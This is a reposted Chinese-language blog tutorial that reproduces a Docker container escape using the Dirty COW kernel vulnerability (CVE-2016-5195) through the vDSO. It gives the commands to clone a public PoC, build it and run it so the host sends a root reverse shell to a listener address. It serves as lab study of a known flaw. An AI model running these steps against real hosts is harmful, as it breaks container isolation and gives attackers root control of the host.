Docker逃逸--臟牛漏洞POC測試


臟牛漏洞(CVE-2016-5195)與VDSO(虛擬動態共享對象)

一、漏洞描述

Dirty Cow(CVE-2016-5195)是Linux內核中的權限提升漏洞,源於Linux內核的內存子系統在處理寫入時拷貝(copy-on-write, Cow)存在競爭條件(race condition),允許惡意用戶提權獲取其他只讀內存映射的寫訪問權限。

競爭條件意為任務執行順序異常,可能導致應用崩潰或面臨攻擊者的代碼執行威脅。利用該漏洞,攻擊者可在其目標系統內提升權限,甚至獲得root權限。VDSO就是Virtual Dynamic Shared Object(虛擬動態共享對象),即內核提供的虛擬.so。該.so文件位於內核而非磁盤,程序啟動時,內核把包含某.so的內存頁映射入其內存空間,對應程序就可作為普通.so使用其中的函數。

在容器中利用VDSO內存空間中的“clock_gettime() ”函數可對臟牛漏洞發起攻擊,令系統崩潰並獲得root權限的shell,且瀏覽容器之外主機上的文件。

 

二、漏洞利用條件

docker與宿主機共享內核,如果要觸發這個漏洞,需要宿主機存在dirtyCow漏洞的宿主機。

這里,我們使用ubuntu-14.04.5來復現。

Ubuntu系統鏡像下載:http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.5-server-amd64.iso

內核版本(共享內核):

宿主機:

  bypass@ubuntu-docker:/$ uname -a   Linux ubuntu-docker 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

容器:
    root@59b203abf9d1:/# uname -r 4.4.0-31-generic root@59b203abf9d1:/# root@59b203abf9d1:/# cat /etc/issue Ubuntu 20.04 LTS \n \l

 

三、漏洞測試復現

1、測試環境下載

git clone https://github.com/gebl/dirtycow-docker-vdso.git

2、運行測試容器

cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash

3、進入容器,編譯POC並執行

cd /dirtycow-vdso/
make
./0xdeadbeef 192.168.172.136:1234

 4、在192.168.172.136監聽本地端口,成功接收到宿主機反彈的shell。

 參考文章:

 https://github.com/gebl/dirtycow-docker-vdso/blob/main/Dockerfile


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM